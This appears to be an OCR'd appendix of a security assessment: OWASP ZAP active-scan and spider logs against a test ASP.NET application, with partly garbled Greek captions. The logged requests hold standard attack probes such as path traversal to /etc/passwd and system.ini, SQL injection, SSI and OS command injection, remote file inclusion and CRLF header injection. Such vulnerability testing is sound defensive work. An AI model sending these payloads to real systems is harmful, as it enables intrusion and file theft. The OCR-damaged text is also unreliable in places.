» M X Content-Type-Options Header Missing (20) WASCID: 15
Source:  Passive (10021 - X-Content-Type-Oplions Header Missing) v
Alerts 1 fq U3 Ap CurrentScans 430 o D 1 @0 #o 0 #o

IHAPAPTHMA 2
[Mapakdto eoivetar export oe excel, g mAnpogopiog mov mapéyetar amd to tab

“Active Scan” tov Information Window:

Id Req. Resp. Method URL Code Reason RTT Size Size
Timestamp Timestamp Resp. Resp.
Header Body
Sat May 26 Sat May 26 http://win-
14:39:24 14:39:24 h8g2gbt5plm/xpcash_new/default.aspx?q
22287 | EEST 2018 EEST 2018 GET uery=c%3A%2FWindows%2Fsystem.ini 200 | OK 53 222 35840
http://win-
h8g2gbt5plm/xpcash_new/default.aspx?q
Sat May 26 Sat May 26 uery=..%2F..%2F..%2F..%2F..%2F..%2F.
14:39:25 14:39:25 Y%2F..%2F..%2F..%2F..%2F..%2F..%2F..
22288 EEST 2018 EEST 2018 GET %2F..%2F..%2FWindows%2Fsystem.ini 200 OK 59 222 35913
Sat May 26 Sat May 26 http://win-
14:39:25 14:39:25 h8g2gbt5plm/xpcash_new/default.aspx?q
22289 | EEST 2018 EEST 2018 GET uery=c%3A%5CWindows%5Csystem.ini 200 | OK 59 222 35840
http://win-

h8g2gbt5plm/xpcash_new/default.aspx?q
uery=..%5C..%5C..%5C..%5C..%5C..%5

Sat May 26 Sat May 26 C..%5C..%5C..%5C..%5C..%5C..%5C..%
14:39:25 14:39:25 5C..%5C..%5C..%5CWindows%5Csyste
22290 EEST 2018 EEST 2018 GET m.ini 200 OK 108 222 35913
Sat May 26 Sat May 26 http://win-
14:39:25 14:39:25 h8g2gbt5plm/xpcash_new/default.aspx?q
22291 EEST 2018 EEST 2018 GET uery=%2Fetc%2Fpasswd 200 OK 73 222 35828
http://win-
h8g2gbt5plm/xpcash_new/default.aspx?q
Sat May 26 Sat May 26 uery=..%2F..%2F..%2F..%2F..%2F..%2F.
14:39:25 14:39:25 9%2F..%2F..%2F..%2F..%2F..%2F..%2F..
22292 EEST 2018 EEST 2018 GET 9%2F..%2F..%2Fetc%2Fpasswd 200 OK 72 222 35905
Sat May 26 Sat May 26 http://win-
14:39:25 14:39:25 h8g2gbt5plm/xpcash_new/default.aspx?q
22293 | EEST 2018 EEST 2018 GET uery=c%3A%2F 200 | OK 71 222 35820
Sat May 26 Sat May 26 http://win-
14:39:25 14:39:25 h8g2gbt5plm/xpcash_new/default.aspx?q
22294 | EEST 2018 EEST 2018 GET uery=%2F 200 [ OK 81 222 35816
Sat May 26 Sat May 26 http://win-
14:39:26 14:39:26 h8g2gbt5plm/xpcash_new/default.aspx?q
22295 EEST 2018 EEST 2018 GET uery=c%3A%5C 200 OK 76 222 35820
http://win-
h8g2gbt5pIm/xpcash_new/default.aspx?q
Sat May 26 Sat May 26 uery=..%2F..%2F..%2F..%2F..%2F..%2F.
14:39:26 14:39:26 Y02F..%2F..%2F..%2F..%2F..%2F..%2F..
22296 | EEST 2018 EEST 2018 GET %2F..%2F..%2F 200 | OK 55 222 35893
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Sat May 26 Sat May 26 http://win-
14:39:26 14:39:26 h8g2gbt5plm/xpcash_new/default.aspx?q
22297 | EEST 2018 EEST 2018 GET uery=WEB-INF%2Fweb.xml 200 | OK 70 222 35830
Sat May 26 Sat May 26 http://win-
14:39:26 14:39:26 h8g2gbt5pIm/xpcash_new/default.aspx?q
22298 EEST 2018 EEST 2018 GET uery=WEB-INF%5Cweb.xml 200 OK 81 222 35830
Sat May 26 Sat May 26 http://win-
14:39:26 14:39:26 h8g2gbt5pIm/xpcash_new/default.aspx?q
22299 EEST 2018 EEST 2018 GET uery=%2FWEB-INF%2Fweb.xml| 200 OK 69 222 35833
Sat May 26 Sat May 26 http://win-
14:39:26 14:39:26 h8g2gbt5pIm/xpcash_new/default.aspx?q
22300 | EEST 2018 EEST 2018 GET uery=%5CWEB-INF%5Cweb.xml 200 | OK 88 222 35833
http://win-
Sat May 26 Sat May 26 h8g2gbt5pIm/xpcash_new/default.aspx?q
14:39:26 14:39:27 uery=thishouldnotexistandhopefullyitwill
22301 | EEST 2018 EEST 2018 GET not 200 | OK 78 222 35851
http://win-
h8g2gbt5plm/xpcash_new/default.aspx?q
Sat May 26 Sat May 26 uery=%3C%?21-- Internal
14:40:27 14:40:27 %23EXEC+cmd%3D%22Is+%2F%22-- Server
22302 | EEST 2018 EEST 2018 GET %3E 500 | Error 16 240 3036
http://win-
h8g2gbt5plm/xpcash_new/default.aspx?q
Sat May 26 Sat May 26 uery=%22%3E%3C%21-- Internal
14:40:27 14:40:27 %23EXEC+cmd%3D%22Is+%2F%22-- Server
22303 EEST 2018 EEST 2018 GET %3E%3C 500 Error 16 240 3036
http://win-
h8g2gbt5pIm/xpcash_new/default.aspx?q
Sat May 26 Sat May 26 uery=%3C%21-- Internal
14:40:27 14:40:27 %23EXEC+cmd%3D%22dir+%5C%22-- Server
22304 EEST 2018 EEST 2018 GET %3E 500 Error 16 240 3036
http://win-
h8g2gbt5pIm/xpcash_new/default.aspx?q
Sat May 26 Sat May 26 uery=%22%3E%3C%21-- Internal
14:40:27 14:40:27 %23EXEC+cmd%3D%22dir+%5C%22-- Server
22305 EEST 2018 EEST 2018 GET %3E%3C 500 Error 31 240 3036
Sat May 26 Sat May 26
14:41:17 14:41:35 http://win-
22306 EEST 2018 EEST 2018 GET h8g2gbt5plm/xpcash_new/default.aspx 302 Found 18034 470 362
Sat May 26 Sat May 26 http://win-
14:41:35 14:41:50 h8g2gbt5pIm/xpcash_new/default.aspx?q
22307 | EEST 2018 EEST 2018 GET uery=%27 302 | Found 15016 470 362
Sat May 26 Sat May 26 http://win-
14:41:50 14:42:05 h8g2gbt5plm/xpcash_new/default.aspx?q
22308 EEST 2018 EEST 2018 GET uery=query%27 302 Found 15008 470 362
Sat May 26 Sat May 26 http://win-
14:42:06 14:42:21 h8g2gbt5plm/xpcash_new/default.aspx?q
22309 EEST 2018 EEST 2018 GET uery=%22 302 Found 15019 470 362
Sat May 26 Sat May 26 http://win-
14:42:21 14:42:36 h8g2gbt5plm/xpcash_new/default.aspx?q
22310 | EEST 2018 EEST 2018 GET uery=query%z22 302 | Found 15022 470 362
Sat May 26 Sat May 26 http://win-
14:42:36 14:42:51 h8g2gbt5plm/xpcash_new/default.aspx?q
22311 | EEST 2018 EEST 2018 GET uery=%3B 302 | Found 15014 470 362
Sat May 26 Sat May 26 http://win-
14:42:51 14:43:06 h8g2gbt5plm/xpcash_new/default.aspx?q
22312 EEST 2018 EEST 2018 GET uery=query%3B 302 Found 15016 470 362
Sat May 26 Sat May 26 http://win-
14:43:06 14:43:21 h8g2gbt5plm/xpcash_new/default.aspx?q
22313 | EEST 2018 EEST 2018 GET uery=%29 302 | Found 15003 470 362
Sat May 26 Sat May 26 http://win-
14:43:21 14:43:36 h8g2gbt5plm/xpcash_new/default.aspx?q
22314 | EEST 2018 EEST 2018 GET uery=query%z29 302 | Found 15003 470 362
Sat May 26 Sat May 26
14:43:36 14:43:51 http://win-
22315 | EEST 2018 EEST 2018 GET h8g2gbt5plm/xpcash_new/default.aspx 302 | Found 15018 470 362
Sat May 26 Sat May 26
14:43:51 14:44:06 http://win-
22316 EEST 2018 EEST 2018 GET h8g2gbt5plm/xpcash_new/default.aspx 302 Found 15020 470 362
Sat May 26 Sat May 26 http://win-
14:44:06 14:44:21 h8g2gbt5plm/xpcash_new/default.aspx?q
22317 EEST 2018 EEST 2018 GET uery=query+AND+1%3D1+--+ 302 Found 15025 470 362
Sat May 26 Sat May 26 http://win-
14:44:21 14:44:36 h8g2gbt5pIm/xpcash_new/default.aspx?q
22318 EEST 2018 EEST 2018 GET uery=query+AND+1%3D2+--+ 302 Found 15013 470 362
Sat May 26 Sat May 26 http://win-
14:44:36 14:44:51 h8g2gbt5pIm/xpcash_new/default.aspx?q
22319 | EEST 2018 EEST 2018 GET uery=query+OR+1%3D1+--+ 302 | Found 15004 470 362
Sat May 26 Sat May 26 http://win-
14:44:51 14:45:06 h8g2gbt5plm/xpcash_new/default.aspx?q
22320 | EEST 2018 EEST 2018 GET uery=query+AND+1%3D2+--+ 302 | Found 15011 470 362
Sat May 26 Sat May 26 http://win-
14:45:06 14:45:21 h8g2gbt5plm/xpcash_new/default.aspx?q
22321 EEST 2018 EEST 2018 GET uery=query+OR+1%3D1+--+ 302 Found 15005 470 362
http://win-
Sat May 26 Sat May 26 h8g2gbt5pIm/xpcash_new/default.aspx?q
14:45:21 14:45:36 uery=query%27+AND+%271%27%3D%
22322 EEST 2018 EEST 2018 GET 271%27+--+ 302 Found 15007 470 362
http://win-
Sat May 26 Sat May 26 h8g2gbt5pIm/xpcash_new/default.aspx?q
14:45:36 14:45:51 uery=query%27+AND+%271%27%3D%
22323 | EEST 2018 EEST 2018 GET 272%27+--+ 302 | Found 15017 470 362
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http://win-
Sat May 26 Sat May 26 h8g2gbt5plm/xpcash_new/default.aspx?q
14:45:51 14:46:06 uery=query%:27+OR+%271%27%3D%27
22324 EEST 2018 EEST 2018 GET 1%27+--+ 302 Found 15010 470 362
http://win-
Sat May 26 Sat May 26 h8g2gbt5pIm/xpcash_new/default.aspx?q
14:46:06 14:46:21 uery=query%27+AND+%271%27%3D%
22325 | EEST 2018 EEST 2018 GET 272%27+--+ 302 | Found 15020 470 362
http://win-
Sat May 26 Sat May 26 h8g2gbt5pIm/xpcash_new/default.aspx?q
14:46:21 14:46:36 uery=query%:27+OR+%271%27%3D%27
22326 | EEST 2018 EEST 2018 GET 1%27+--+ 302 | Found 15010 470 362
http://win-
Sat May 26 Sat May 26 h8g2gbt5pIm/xpcash_new/default.aspx?q
14:46:36 14:46:51 uery=query+UNION+ALL+select+NULL
22327 | EEST 2018 EEST 2018 GET +--+ 302 | Found 15012 470 362
http://win-
Sat May 26 Sat May 26 h8g2gbt5pIm/xpcash_new/default.aspx?q
14:46:51 14:47:07 uery=query%27+UNION+ALL+select+N
22328 | EEST 2018 EEST 2018 GET ULL+--+ 302 | Found 15004 470 362
http://win-
Sat May 26 Sat May 26 h8g2gbt5pIm/xpcash_new/default.aspx?q
14:47:07 14:47:22 uery=query%22+UNION+ALL+select+N
22329 | EEST 2018 EEST 2018 GET ULL+--+ 302 | Found 15005 470 362
http://win-
Sat May 26 Sat May 26 h8g2gbt5plm/xpcash_new/default.aspx?q
14:47:22 14:47:37 uery=query%29+UNION+ALL+select+N
22330 | EEST 2018 EEST 2018 GET ULL+--+ 302 | Found 15015 470 362
http://win-
Sat May 26 Sat May 26 h8g2gbt5pIm/xpcash_new/default.aspx?q
14:47:37 14:47:52 uery=query%27%29+UNION+ALL+sele
22331 | EEST 2018 EEST 2018 GET Ct+NULL+--+ 302 | Found 15029 470 362
Sat May 26 Sat May 26
14:47:52 14:48:07 http://win-
22332 EEST 2018 EEST 2018 GET h8g2gbt5plm/xpcash_new/default.aspx 302 Found 15018 470 362
http://win-
h8g2gbt5pIm/xpcash_new/default.aspx?q
uery=%22%3Bprint%28chr%28122%29.c
hr%2897%29.chr%28112%29.chr%2895
Sat May 26 Sat May 26 9%29.chr%28116%29.chr%28111%29.chr
14:48:07 14:48:22 %28107%29.chr%28101%29.chr%28110
22333 | EEST 2018 EEST 2018 GET 9%29%29%3B%24var%3D%22 302 | Found 15021 470 362
http://win-
h8g2gbt5pIm/xpcash_new/default.aspx?q
uery=%27%3Bprint%28chr%28122%29.c
hr%2897%29.chr%28112%29.chr%2895
Sat May 26 Sat May 26 9%29.chr%28116%29.chr%28111%29.chr
14:48:22 14:48:37 9%28107%29.chr%28101%29.chr%28110
22334 | EEST 2018 EEST 2018 GET 9%29%29%3B%24var%3D%27 302 | Found 15023 470 362
http://win-
h8g2gbt5plm/xpcash_new/default.aspx?q
uery=%24%7B%40print%28chr%28122
9%29.chr%2897%29.chr%28112%29.chr%
Sat May 26 Sat May 26 2895%29.chr9%28116%29.chr%28111%2
14:48:37 14:48:52 9.chr%28107%29.chr%28101%29.chr%z2
22335 EEST 2018 EEST 2018 GET 8110%29%29%7D 302 Found 15016 470 362
http://win-
h8g2gbt5plm/xpcash_new/default.aspx?q
uery=%24%7B%40print%28chr%28122
9%29.chr%2897%29.chr%28112%29.chr%
Sat May 26 Sat May 26 2895%29.chr%28116%29.chr%28111%2
14:48:52 14:49:07 9.chr%28107%29.chr%28101%29.chr%2
22336 | EEST 2018 EEST 2018 GET 8110%29%29%7D%5C 302 | Found 15022 470 362
http://win-
h8g2gbt5plm/xpcash_new/default.aspx?q
uery=%3Bprint%28chr%28122%29.chr%
2897%29.chr9%28112%29.chr%2895%29.
Sat May 26 Sat May 26 chr%28116%29.chr%28111%29.chr%z281
14:49:07 14:49:22 07%29.chr%28101%29.chr%28110%29%
22337 | EEST 2018 EEST 2018 GET 29%3B 302 | Found 15028 470 362
http://win-
Sat May 26 Sat May 26 h8g2gbt5plm/xpcash_new/default.aspx?q
14:49:22 14:49:37 uery=%22%2Bresponse.write%28%5B10
22338 | EEST 2018 EEST 2018 GET 0%2C000*100%2C000%29%2B%22 302 | Found 15017 470 362
http://win-
Sat May 26 Sat May 26 h8g2gbt5plm/xpcash_new/default.aspx?q
14:49:37 14:49:52 uery=%2Bresponse.write%28%7B0%7D*
22339 EEST 2018 EEST 2018 GET %7B1%7D%29%2B 302 Found 15012 470 362
http://win-
Sat May 26 Sat May 26 h8g2gbt5plm/xpcash_new/default.aspx?q
14:49:52 14:50:07 uery=response.write%28100%2C000*100
22340 EEST 2018 EEST 2018 GET %2C000%29 302 Found 15024 470 362
http://win-
Sat May 26 Sat May 26 h8g2gbt5pIm/xpcash_new/default.aspx?q
14:50:07 14:50:22 uery=query%?26cat+%2Fetc%2Fpasswd%
22341 EEST 2018 EEST 2018 GET 26 302 Found 15029 470 362
http://win-
Sat May 26 Sat May 26 h8g2gbt5pIm/xpcash_new/default.aspx?q
14:50:22 14:50:37 uery=query%3Bcat+%2Fetc%2Fpasswd%
22342 EEST 2018 EEST 2018 GET 3B 302 Found 15017 470 362
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http://win-
Sat May 26 Sat May 26 h8g2gbt5plm/xpcash_new/default.aspx?q
14:50:37 14:50:52 uery=query%22%?26cat+%2Fetc%2Fpass
22343 EEST 2018 EEST 2018 GET wd%26%22 302 Found 15018 470 362
http://win-
Sat May 26 Sat May 26 h8g2gbt5pIm/xpcash_new/default.aspx?q
14:50:52 14:51:07 uery=query%22%?3Bcat+%2Fetc%2Fpass
22344 | EEST 2018 EEST 2018 GET wd%3B%22 302 | Found 15026 470 362
http://win-
Sat May 26 Sat May 26 h8g2gbt5pIm/xpcash_new/default.aspx?q
14:51:07 14:51:22 uery=query%27%?26cat+%2Fetc%2Fpass
22345 | EEST 2018 EEST 2018 GET wd%26%27 302 | Found 15019 470 362
http://win-
Sat May 26 Sat May 26 h8g2gbt5pIm/xpcash_new/default.aspx?q
14:51:22 14:51:37 uery=query%27%?3Bcat+%2Fetc%2Fpass
22346 | EEST 2018 EEST 2018 GET wd%3B%27 302 | Found 14999 470 362
Sat May 26 Sat May 26 http://win-
14:51:37 14:51:52 h8g2gbt5pIm/xpcash_new/default.aspx?q
22347 | EEST 2018 EEST 2018 GET uery=query%z26sleep+15%26 302 | Found 15025 470 362
Sat May 26 Sat May 26 http://win-
14:51:52 14:52:07 h8g2gbt5pIm/xpcash_new/default.aspx?q
22348 EEST 2018 EEST 2018 GET uery=query%3Bsleep+15%3B 302 Found 15011 470 362
Sat May 26 Sat May 26 http://win-
14:52:07 14:52:22 h8g2gbt5pIm/xpcash_new/default.aspx?q
22349 | EEST 2018 EEST 2018 GET uery=query%z22%26sleep+15%26%22 302 | Found 15004 470 362
Sat May 26 Sat May 26 http://win-
14:52:22 14:52:37 h8g2gbt5pIm/xpcash_new/default.aspx?q
22350 | EEST 2018 EEST 2018 GET uery=query%22%3Bsleep+15%3B%22 302 | Found 15011 470 362
Sat May 26 Sat May 26 http://win-
14:52:37 14:52:52 h8g2gbt5pIm/xpcash_new/default.aspx?q
22351 EEST 2018 EEST 2018 GET uery=query%26sleep+%7B0%7D%26 302 Found 15004 470 362
Sat May 26 Sat May 26 http://win-
14:52:52 14:53:07 h8g2gbt5pIm/xpcash_new/default.aspx?q
22352 | EEST 2018 EEST 2018 GET uery=query%3Bsleep+%7B0%7D%3B 302 | Found 15007 470 362
http://win-
Sat May 26 Sat May 26 h8g2gbt5plm/xpcash_new/default.aspx?q
14:53:07 14:53:22 uery=query%26type+%25SYSTEMROO
22353 | EEST 2018 EEST 2018 GET T%25%5Cwin.ini 302 | Found 15009 470 362
http://win-
Sat May 26 Sat May 26 h8g2gbt5plm/xpcash_new/default.aspx?q
14:53:22 14:53:37 uery=query%?7Ctype+%25SYSTEMROO
22354 | EEST 2018 EEST 2018 GET T%25%5Cwin.ini 302 | Found 15023 470 362
http://win-
Sat May 26 Sat May 26 h8g2gbt5plm/xpcash_new/default.aspx?q
14:53:37 14:53:52 uery=query%22%26type+%25SYSTEMR
22355 | EEST 2018 EEST 2018 GET 00T %25%5Cwin.ini%26%22 302 | Found 15020 470 362
http://win-
Sat May 26 Sat May 26 h8g2gbt5plm/xpcash_new/default.aspx?q
14:53:52 14:54:.07 uery=query%22%7Ctype+%25SYSTEM
22356 | EEST 2018 EEST 2018 GET ROOT%25%5Cwin.ini 302 | Found 15016 470 362
http://win-
Sat May 26 Sat May 26 h8g2gbt5plm/xpcash_new/default.aspx?q
14:54:07 14:54:22 uery=query%27%26type+%25SYSTEMR
22357 | EEST 2018 EEST 2018 GET 00T %25%5Cwin.ini%26%27 302 | Found 15003 470 362
http://win-
Sat May 26 Sat May 26 h8g2gbt5plm/xpcash_new/default.aspx?q
14:54:22 14:54:37 uery=query%27%7Ctype+%25SYSTEM
22358 EEST 2018 EEST 2018 GET ROOT%25%5Cwin.ini 302 Found 15015 470 362
Sat May 26 Sat May 26 http://win-
14:54:37 14:54:52 h8g2gbt5plm/xpcash_new/default.aspx?q
22359 EEST 2018 EEST 2018 GET uery=query%26timeout+%2FT+15 302 Found 15019 470 362
Sat May 26 Sat May 26 http://win-
14:54:52 14:55:07 h8g2gbt5plm/xpcash_new/default.aspx?q
22360 EEST 2018 EEST 2018 GET uery=query%7Ctimeout+%2FT+15 302 Found 15021 470 362
http://win-
Sat May 26 Sat May 26 h8g2gbt5plm/xpcash_new/default.aspx?q
14:55:07 14:55:22 uery=query%:22%26timeout+%2FT+15%
22361 | EEST 2018 EEST 2018 GET 26%22 302 | Found 15026 470 362
Sat May 26 Sat May 26 http://win-
14:55:22 14:55:37 h8g2gbt5plm/xpcash_new/default.aspx?q
22362 EEST 2018 EEST 2018 GET uery=query%22%7Ctimeout+%2FT+15 302 Found 15024 470 362
http://win-
Sat May 26 Sat May 26 h8g2gbt5pIm/xpcash_new/default.aspx?q
14:55:37 14:55:52 uery=query%z26timeout+%2FT+%7B0%7
22363 EEST 2018 EEST 2018 GET D%26 302 Found 15013 470 362
http://win-
Sat May 26 Sat May 26 h8g2gbt5pIm/xpcash_new/default.aspx?q
14:55:52 14:56:08 uery=query%7Ctimeout+%2FT+%7B0%
22364 EEST 2018 EEST 2018 GET 7D 302 Found 15310 470 362
Sat May 26 Sat May 26 http://win-
14:56:25 14:56:42 h8g2gbt5pIm/xpcash_new/default.aspx?q
22366 | EEST 2018 EEST 2018 GET uery=4166881870672738281.owasp.org 302 | Found 17132 470 362
http://win-
Sat May 26 Sat May 26 h8g2gbt5plm/xpcash_new/default.aspx?q
14:56:42 14:56:57 uery=http%3A%2F%2F41668818706727
22367 | EEST 2018 EEST 2018 GET 38281.owasp.org 302 | Found 15032 470 362
http://win-
Sat May 26 Sat May 26 h8g2gbt5plm/xpcash_new/default.aspx?q
14:56:57 14:57:12 uery=https%3A%2F%2F4166881870672
22368 | EEST 2018 EEST 2018 GET 738281.owasp.org 302 | Found 15024 470 362
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22369

Sat May 26
14:57:12
EEST 2018

Sat May 26
14:57:27
EEST 2018

GET

http://win-
h8g2gbt5plm/xpcash_new/default.aspx?q
uery=http%3A%5C%5C41668818706727
38281.0wasp.org

302

Found

15019

470

362

22370

Sat May 26
14:57:27
EEST 2018

Sat May 26
14:57:42
EEST 2018

GET

http://win-
h8g2gbt5pIm/xpcash_new/default.aspx?q
uery=https%3A%5C%5C4166881870672
738281.owasp.org

302

Found

15012

470

362

22371

Sat May 26
14:57:42
EEST 2018

Sat May 26
14:57:57
EEST 2018

GET

http://win-
h8g2gbt5pIm/xpcash_new/default.aspx?q
uery=%2F%2F4166881870672738281.ow
asp.org

302

Found

15020

470

362

22372

Sat May 26
14:57:57
EEST 2018

Sat May 26
14:58:12
EEST 2018

GET

http://win-
h8g2gbt5pIm/xpcash_new/default.aspx?q
uery=%5C%5C4166881870672738281.0
wasp.org

302

Found

15023

470

362

22373

Sat May 26
14:58:12
EEST 2018

Sat May 26
14:58:27
EEST 2018

GET

http://win-
h8g2gbt5pIm/xpcash_new/default.aspx?q
uery=HtTp%3A%2F%2F4166881870672
738281.owasp.org

302

Found

15013

470

362

22374

Sat May 26
14:58:27
EEST 2018

Sat May 26
14:58:42
EEST 2018

GET

http://win-
h8g2gbt5pIm/xpcash_new/default.aspx?q
uery=HtTpS%3A%2F%2F416688187067
2738281.owasp.org

302

Found

15010

470

362

22375

Sat May 26
14:58:43
EEST 2018

Sat May 26
14:58:43
EEST 2018

GET

http://win-
h8g2gbt5plm/xpcash_new/default.aspx?q
uery=tMJyUlijUbnFvBIgnebPGZqqvHphl
rYRYgJdaebEfTekxWhubHPBJyyqZYHI
NbahZbGAmMhQngMyRtuiLPWtfeZMboJ
UQFBpRKILaTSGJAyDoyOshdd TSNPy
hIEXZWFFEiATrgOfpundlErXkBkIfAsU
LVyIucNJIUEQYynvGxXFOnYKCNhdV
MFIVsjrvIXAiLFBWPtorXpkthTmFxjdV
BFYGSISIIRbfDRxFeSYsIUmblIUhGAIb
0oTnGuylMuLhlOTPgTLFaHOmaLUIrFD
PoLwWIOQPASghhPsyCaKRBRgcnRDPd
dCmQNmMDOwWngERUFTSJZLOieSgbp
DwtCxcZYEHYcZwlgtlYRAMfLZeAbY
rwRyreZuFjtnyGDMhFNXuWspdmowa
MYBUPETXxTwcLtdkPFnloWKimsrPuhQ
KsONQCsgSVGORHXAZssKtckojoLV
mdWPgmHKXxbIPIFSADiYQpYsFtDcBy
YPIWGXFSAWWUIKQXWSFDYNINZFU
0asWkuytlOhePtSVOxUxYwyROTPKhi
keNSpSaJTtjyAncylajEOBRnsdGXjvmyq
WSbVUhePEXVRTbVEXgZCSnYjPMdF
kQSYFHwWVDZtQaLInNBdVgoNsegqZK
wvKofWQccffuEeODWCHmhtLTmTcix
cgFqvTRdjubbnQriJEPgmoXbnhOgEITth
sftmKgxHhgblgX AyhffiKgvLHssjxHCsB
WRhOaLnWGQdUYwwudTxOhUTfTFp
nyrOJFgPGZbLgBNFyBhIbuBtXFjWho
AXWXniHWCCuapTgBAPPocQRoGvOJ
HviPaMmRGrrkoxSLwLbgyikXXvluhX
QOOcufyQjVLgTXjYmJgYDbLDapjYnl
XMTKfImeNmfimfUAXtpGWoDIdbkvG
EmebNViJAioDvIyITTxMyjrZufeUcQZy
gkAkkfYSOZ0oxZRDHCcCAQPTgGXshSg
ReqicfTwYopALJaWmhEKGIGqvwldW
dmNpxcMgwRITWNybIQOXIZYQYnW
orQCWhtZFHtpQqfqphOgnlHJeqlbcTivZz
awPUUKfOXCwbXPxQNPMoWniVWjT
KQRyoTxiyevoiuTOBZigRvvhDgKSAb
NAmMYyewhNHwfPDDxMcpurofUFKm
WAGIpktOyfLVtRqsZBFifwVoQJINPmIE]
goeZARPKJJEeccDjbvFFsfsgcDQBPWfu
TiXJpJmoWDKTsMFKbsXDpXcYnWDI
QGnQVSuabKSQaitYNIUjfQSMeMgOR
HQQoWTHsGaMcjIKSZqYskjERFwDkk
TwNJaulBwNgTcHhuFnfdfRMiFyKertW
RZMY fspUJaJAHICDimeKMHIJAUMAq
CtwfQFpuDDXjeX LXEMiPvwiRcNthyE
UOJANIFXAKQTXVAwyoRhBVPBBsXP
NpBHUFQxwYUDKPnWhbklaclkDfPWR
ATQtnKOhdJsKLwyVpallZpZNOKIIPu
MMlorkHgDFaGIARIpEvcQBXbPdhpVy
FkoSQAPJkMoLricvSiFLRgqcKsAXvotZ)
AibEVCWmBOabbcjfWwQVaaUPYUBXG
JZJIetLWHhWmVsUpKvhXauZuGmTwW
VsHxlagLdoBlpxgMRkQhgSSskWhbkJINf
aaFOJQyoxocedwRblZnwecBnwnVevKIV
LLocHaYDDPrPxdPMPuTeDiXptmYYe
gxNOUUuynomelgLkrhXhJCldymkcNZk
UNBNHuHHSULnNwBMVhZtYIUIGCK
QhVGWEGJIUZUOpPRsGjRdXsibGudGC
pTAkbeXHFWCFyHGHbnuidsALiyAM
QYbBIHIHTHDfChWpTbnWeXcAPdGw
KvgdhWdRuKNSsLOgnRHuhwawgffwK
CoTBINZKCmXyYWwvOyHEMPGcqm
aFDRKSglkseOanMgORkgY joWsyrIXIg
ZyEFgKAHPSOVDCMtmbUL fFacXabY
gsonuTMfnEueGFZtWpHACxsypliKItLI
XEXIBCFCMhUcmNSQhkSQIfSIIHWK

404

Not
Found

15

179

1245
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mYedmKUEHIhWQyFAkamVUiKpoYxZ
gqahVOMFrSofZcPbHPmodhCMVJriGka
KpBUdgZvyPSdSRRAAUWLBVNdUwWY
adssXbiVcPDkBrivTPYRZUwUFBxhMj
YkJgWSutgW
http://win-
h8g2gbt5plm/xpcash_new/default.aspx?q
Sat May 26 Sat May 26 uery=Set-
14:59:07 14:59:22 cookie%3A+Tamper%3D1fed52c1-b5ff-
22376 EEST 2018 EEST 2018 GET 476f-aa69-3f285c0dae6d 302 Found 15018 470 362
http://win-
h8g2gbt5pIm/xpcash_new/default.aspx?q
Sat May 26 Sat May 26 uery=any%0D%0ASet-
14:59:22 14:59:37 cookie%3A+Tamper%3D1fed52c1-b5ff-
22377 | EEST 2018 EEST 2018 GET 476f-aa69-3f285c0dae6d 302 | Found 15014 470 362
http://win-
h8g2gbt5pIm/xpcash_new/default.aspx?q
Sat May 26 Sat May 26 uery=any%3F%0D%0ASet-
14:59:37 14:59:52 cookie%3A+Tamper%3D1fed52c1-b5ff-
22378 | EEST 2018 EEST 2018 GET 476f-aa69-3f285c0dae6d 302 | Found 15024 470 362
http://win-
h8g2gbt5pIm/xpcash_new/default.aspx?q
Sat May 26 Sat May 26 uery=any%O0ASet-
14:59:52 15:00:07 cookie%3A+Tamper%3D1fed52c1-b5ff-
22379 EEST 2018 EEST 2018 GET 476f-aa69-3f285c0dae6d 302 Found 15014 470 362
http://win-
h8g2gbt5plm/xpcash_new/default.aspx?q
Sat May 26 Sat May 26 uery=any%3F%0ASet-
15:00:07 15:00:22 cookie%3A+Tamper%3D1fed52c1-b5ff-
22380 EEST 2018 EEST 2018 GET 476f-aa69-3f285c0dae6d 302 Found 15020 470 362
http://win-
h8g2gbt5pIm/xpcash_new/default.aspx?q
Sat May 26 Sat May 26 uery=any%0D%0ASet-
15:00:22 15:00:37 cookie%3A+Tamper%3D1fed52c1-b5ff-
22381 EEST 2018 EEST 2018 GET 476f-aa69-3f285c0dae6d%0D%0A 302 Found 15012 470 362
http://win-
h8g2gbt5pIm/xpcash_new/default.aspx?q
Sat May 26 Sat May 26 uery=any%3F%0D%0ASet-
15:00:37 15:00:52 cookie%3A+Tamper%3D1fed52c1-b5ff-
22382 | EEST 2018 EEST 2018 GET 476f-aa69-3f285c0dae6d%0D%0A 302 | Found 15016 470 362
ITAPAPTHMA 3
[Mapakdto eoiveton export oe excel, g mAnpogopiog mov mapéyetar amd to tab
“Messages” Tov “Spider” a6 to Information Window:
Processed Req. Method URL Code Reason RTT Size Size Highest Tags
Timestamp Resp. Resp. Alert
Header Body
Sat May 26
14:38:44 http://win- Not
Successfully EEST 2018 GET h8g2gbt5plm/robots.txt 404 | Found 16 160 1245 | Low Comment
Form,
Hidden,
Sat May 26 http://win- Upload,
14:38:44 h8g2gbt5plm/xpcash_ne Script,
Successfully EEST 2018 GET w/default.aspx 200 OK 82 222 35806 Medium Comment
Sat May 26 http://win-
14:38:44 h8g2gbt5plm/sitemap.x Not
Successfully EEST 2018 GET ml 404 | Found 38 160 1245 | Low Comment
http://win-
h8g2gbt5plim/xpcash_ne
w/WebResource.axd?d=
2iLjl04gpRjcQNNzofgH
1YTCfchihbcN5tJS11B
ybTXSWOjXNInpuSET
ECOsJdatVdSiLqOL26tE
VO-
x2V00GgQ97aFEciF7U
CY7S4h8dPwcdKw7dz
Sat May 26 EXBUP5201JQ-
14:38:44 TWdp8SHA2&t=63526
Successfully EEST 2018 GET 0689620000000 200 | OK 32 201 10949 [ Low Comment
http://win-
h8g2gbt5plim/xpcash_ne
w/WebResource.axd?d=
rOR3XTMTrqlHGaCGzi
2tFqwC7ysGvw1CTRel
dqHz-
0QIsGI8hxKze2qoWxU
nVwN5e4sma607sZF-
0irNB629agxGRP4CtqS
fDIsXACCIHIkfPbQXa
Sat May 26 WY-
14:38:44 ckJIDLcY AKRHWEQU
Successfully EEST 2018 GET SQVrgS1WeLogE- 200 OK 16 291 16164 Low
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SwSbhVSz01&t=63526
0689620000000

http://win-
h8g2gbt5plm/xpcash_ne
w/WebResource.axd?d=
b0dz-
U69p9f4lwOKQDoKka
WhUaOxDV2EgLMx4S
qTeSyeOBhfSc-
5vuiPBdLd7jwVMnRo
Ud26jxvy-
800W392z8zyTPbh81Hz
01JcS516805Q6 YrOKrg
Sat May 26 _L5WMrvkWigZ4yO7L
14:38:44 0rQ2&t=635260689620
Successfully EEST 2018 GET 000000 200 | OK 16 290 7037 | Low

http://win-
h8g2gbt5pIm/xpcash_ne
w/WebResource.axd?d=
stZRmgpp5FvWce8tdH3
RQOOCN_GpwOb2AYh
